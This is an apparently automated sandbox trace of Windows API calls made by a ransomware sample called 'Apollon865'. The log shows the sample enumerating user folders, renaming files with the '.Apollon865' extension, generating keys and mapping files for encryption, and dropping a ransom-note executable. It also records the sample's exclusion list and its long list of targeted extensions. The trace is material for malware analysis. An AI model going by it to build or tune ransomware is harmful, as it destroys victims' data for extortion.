	[0043.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31b90430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b90430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.041] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.041] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.041] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="ContentStore.xml" | out: lpString1="ContentStore.xml") returned="ContentStore.xml"
	[0043.041] lstrlenW (lpString="ContentStore.xml") returned 16
	[0043.041] lstrlenW (lpString="Apollon865") returned 10
	[0043.041] lstrcmpiW (lpString1="tStore.xml", lpString2="Apollon865") returned 1
	[0043.042] lstrlenW (lpString=".dll") returned 4
	[0043.042] lstrcmpiW (lpString1="ContentStore.xml", lpString2=".dll") returned 1
	[0043.042] lstrlenW (lpString=".lnk") returned 4
	[0043.042] lstrcmpiW (lpString1="ContentStore.xml", lpString2=".lnk") returned 1
	[0043.042] lstrlenW (lpString=".ini") returned 4
	[0043.042] lstrcmpiW (lpString1="ContentStore.xml", lpString2=".ini") returned 1
	[0043.042] lstrlenW (lpString=".sys") returned 4
	[0043.042] lstrcmpiW (lpString1="ContentStore.xml", lpString2=".sys") returned 1
	[0043.042] lstrlenW (lpString="ContentStore.xml") returned 16
	[0043.042] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.Apollon865") returned 109
	[0043.042] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.apollon865"), dwFlags=0x1) returned 1
	[0043.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0043.045] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=168) returned 1
	[0043.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0043.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0043.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfbc8
	[0043.045] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfc50) returned 1
	[0043.046] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0043.046] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0043.046] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x150
	[0043.049] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000
	[0043.050] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfc50) returned 1
	[0043.051] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0043.051] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0043.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0043.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0043.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0043.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0043.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0043.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0043.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0043.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0043.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0043.051] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0043.051] CloseHandle (hObject=0x150) returned 1
	[0043.051] CloseHandle (hObject=0x15c) returned 1
	[0043.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0043.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0043.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0043.053] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31b90430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31b90430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.053] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.053] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31b90430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31b90430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.053] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.053] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0043.053] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher"
	[0043.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0043.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0043.053] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher") returned 65
	[0043.053] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher"
	[0043.053] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.053] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.059] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.059] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31bb6590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31bb6590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.059] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.059] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.059] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.059] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31bb6590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31bb6590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.059] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.059] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.059] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.059] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.059] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31bb6590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31bb6590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.059] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.059] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31bb6590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31bb6590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.059] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.060] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0043.060] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect"
	[0043.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0043.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0043.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect") returned 63
	[0043.060] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect"
	[0043.060] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.064] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.065] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31bdc6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31bdc6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.065] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.065] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.065] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.065] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31bdc6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31bdc6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.065] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.065] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.065] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.065] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.065] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="Apollon865.txt.exe") returned 1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2=".") returned 1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="..") returned 1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="windows") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="bootmgr") returned 1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="temp") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="pagefile.sys") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="boot") returned 1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="ids.txt") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="ntuser.dat") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="perflogs") returned -1
	[0043.065] lstrcmpiW (lpString1="CREDHIST", lpString2="MSBuild") returned -1
	[0043.065] lstrlenW (lpString="CREDHIST") returned 8
	[0043.065] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*") returned 65
	[0043.065] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="CREDHIST" | out: lpString1="CREDHIST") returned="CREDHIST"
	[0043.065] lstrlenW (lpString="CREDHIST") returned 8
	[0043.065] lstrlenW (lpString="Apollon865") returned 10
	[0043.065] lstrlenW (lpString=".dll") returned 4
	[0043.066] lstrcmpiW (lpString1="CREDHIST", lpString2=".dll") returned 1
	[0043.066] lstrlenW (lpString=".lnk") returned 4
	[0043.066] lstrcmpiW (lpString1="CREDHIST", lpString2=".lnk") returned 1
	[0043.066] lstrlenW (lpString=".ini") returned 4
	[0043.066] lstrcmpiW (lpString1="CREDHIST", lpString2=".ini") returned 1
	[0043.066] lstrlenW (lpString=".sys") returned 4
	[0043.066] lstrcmpiW (lpString1="CREDHIST", lpString2=".sys") returned 1
	[0043.066] lstrlenW (lpString="CREDHIST") returned 8
	[0043.066] lstrlenW (lpString="bak") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="bak") returned 1
	[0043.066] lstrlenW (lpString="ba_") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="ba_") returned 1
	[0043.066] lstrlenW (lpString="dbb") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="dbb") returned 1
	[0043.066] lstrlenW (lpString="vmdk") returned 4
	[0043.066] lstrcmpiW (lpString1="HIST", lpString2="vmdk") returned -1
	[0043.066] lstrlenW (lpString="rar") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="rar") returned -1
	[0043.066] lstrlenW (lpString="zip") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="zip") returned -1
	[0043.066] lstrlenW (lpString="tgz") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="tgz") returned -1
	[0043.066] lstrlenW (lpString="vbox") returned 4
	[0043.066] lstrcmpiW (lpString1="HIST", lpString2="vbox") returned -1
	[0043.066] lstrlenW (lpString="vdi") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="vdi") returned -1
	[0043.066] lstrlenW (lpString="vhd") returned 3
	[0043.066] lstrcmpiW (lpString1="IST", lpString2="vhd") returned -1
	[0043.066] lstrlenW (lpString="vhdx") returned 4
	[0043.066] lstrcmpiW (lpString1="HIST", lpString2="vhdx") returned -1
	[0043.066] lstrlenW (lpString="avhd") returned 4
	[0043.066] lstrcmpiW (lpString1="HIST", lpString2="avhd") returned 1
	[0043.066] lstrlenW (lpString="db") returned 2
	[0043.066] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0043.066] lstrlenW (lpString="db2") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="db2") returned 1
	[0043.067] lstrlenW (lpString="db3") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="db3") returned 1
	[0043.067] lstrlenW (lpString="dbf") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="dbf") returned 1
	[0043.067] lstrlenW (lpString="mdf") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="mdf") returned -1
	[0043.067] lstrlenW (lpString="mdb") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="mdb") returned -1
	[0043.067] lstrlenW (lpString="sql") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="sql") returned -1
	[0043.067] lstrlenW (lpString="sqlite") returned 6
	[0043.067] lstrcmpiW (lpString1="EDHIST", lpString2="sqlite") returned -1
	[0043.067] lstrlenW (lpString="sqlite3") returned 7
	[0043.067] lstrcmpiW (lpString1="REDHIST", lpString2="sqlite3") returned -1
	[0043.067] lstrlenW (lpString="sqlitedb") returned 8
	[0043.067] lstrlenW (lpString="xml") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="xml") returned -1
	[0043.067] lstrlenW (lpString="$er") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="$er") returned 1
	[0043.067] lstrlenW (lpString="4dd") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="4dd") returned 1
	[0043.067] lstrlenW (lpString="4dl") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="4dl") returned 1
	[0043.067] lstrlenW (lpString="^^^") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="^^^") returned 1
	[0043.067] lstrlenW (lpString="abs") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="abs") returned 1
	[0043.067] lstrlenW (lpString="abx") returned 3
	[0043.067] lstrcmpiW (lpString1="IST", lpString2="abx") returned 1
	[0043.067] lstrlenW (lpString="accdb") returned 5
	[0043.067] lstrcmpiW (lpString1="DHIST", lpString2="accdb") returned 1
	[0043.067] lstrlenW (lpString="accdc") returned 5
	[0043.067] lstrcmpiW (lpString1="DHIST", lpString2="accdc") returned 1
	[0043.067] lstrlenW (lpString="accde") returned 5
	[0043.068] lstrcmpiW (lpString1="DHIST", lpString2="accde") returned 1
	[0043.068] lstrlenW (lpString="accdr") returned 5
	[0043.068] lstrcmpiW (lpString1="DHIST", lpString2="accdr") returned 1
	[0043.068] lstrlenW (lpString="accdt") returned 5
	[0043.068] lstrcmpiW (lpString1="DHIST", lpString2="accdt") returned 1
	[0043.068] lstrlenW (lpString="accdw") returned 5
	[0043.068] lstrcmpiW (lpString1="DHIST", lpString2="accdw") returned 1
	[0043.068] lstrlenW (lpString="accft") returned 5
	[0043.068] lstrcmpiW (lpString1="DHIST", lpString2="accft") returned 1
	[0043.068] lstrlenW (lpString="adb") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0043.068] lstrlenW (lpString="adb") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0043.068] lstrlenW (lpString="ade") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="ade") returned 1
	[0043.068] lstrlenW (lpString="adf") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="adf") returned 1
	[0043.068] lstrlenW (lpString="adn") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="adn") returned 1
	[0043.068] lstrlenW (lpString="adp") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="adp") returned 1
	[0043.068] lstrlenW (lpString="alf") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="alf") returned 1
	[0043.068] lstrlenW (lpString="ask") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="ask") returned 1
	[0043.068] lstrlenW (lpString="btr") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="btr") returned 1
	[0043.068] lstrlenW (lpString="cat") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="cat") returned 1
	[0043.068] lstrlenW (lpString="cdb") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="cdb") returned 1
	[0043.068] lstrlenW (lpString="ckp") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="ckp") returned 1
	[0043.068] lstrlenW (lpString="cma") returned 3
	[0043.068] lstrcmpiW (lpString1="IST", lpString2="cma") returned 1
	[0043.069] lstrlenW (lpString="cpd") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="cpd") returned 1
	[0043.069] lstrlenW (lpString="dacpac") returned 6
	[0043.069] lstrcmpiW (lpString1="EDHIST", lpString2="dacpac") returned 1
	[0043.069] lstrlenW (lpString="dad") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dad") returned 1
	[0043.069] lstrlenW (lpString="dadiagrams") returned 10
	[0043.069] lstrlenW (lpString="daschema") returned 8
	[0043.069] lstrlenW (lpString="db-journal") returned 10
	[0043.069] lstrlenW (lpString="db-shm") returned 6
	[0043.069] lstrcmpiW (lpString1="EDHIST", lpString2="db-shm") returned 1
	[0043.069] lstrlenW (lpString="db-wal") returned 6
	[0043.069] lstrcmpiW (lpString1="EDHIST", lpString2="db-wal") returned 1
	[0043.069] lstrlenW (lpString="dbc") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dbc") returned 1
	[0043.069] lstrlenW (lpString="dbs") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dbs") returned 1
	[0043.069] lstrlenW (lpString="dbt") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dbt") returned 1
	[0043.069] lstrlenW (lpString="dbv") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dbv") returned 1
	[0043.069] lstrlenW (lpString="dbx") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dbx") returned 1
	[0043.069] lstrlenW (lpString="dcb") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dcb") returned 1
	[0043.069] lstrlenW (lpString="dct") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dct") returned 1
	[0043.069] lstrlenW (lpString="dcx") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dcx") returned 1
	[0043.069] lstrlenW (lpString="ddl") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="ddl") returned 1
	[0043.069] lstrlenW (lpString="dlis") returned 4
	[0043.069] lstrcmpiW (lpString1="HIST", lpString2="dlis") returned 1
	[0043.069] lstrlenW (lpString="dp1") returned 3
	[0043.069] lstrcmpiW (lpString1="IST", lpString2="dp1") returned 1
	[0043.070] lstrlenW (lpString="dqy") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="dqy") returned 1
	[0043.070] lstrlenW (lpString="dsk") returned 3
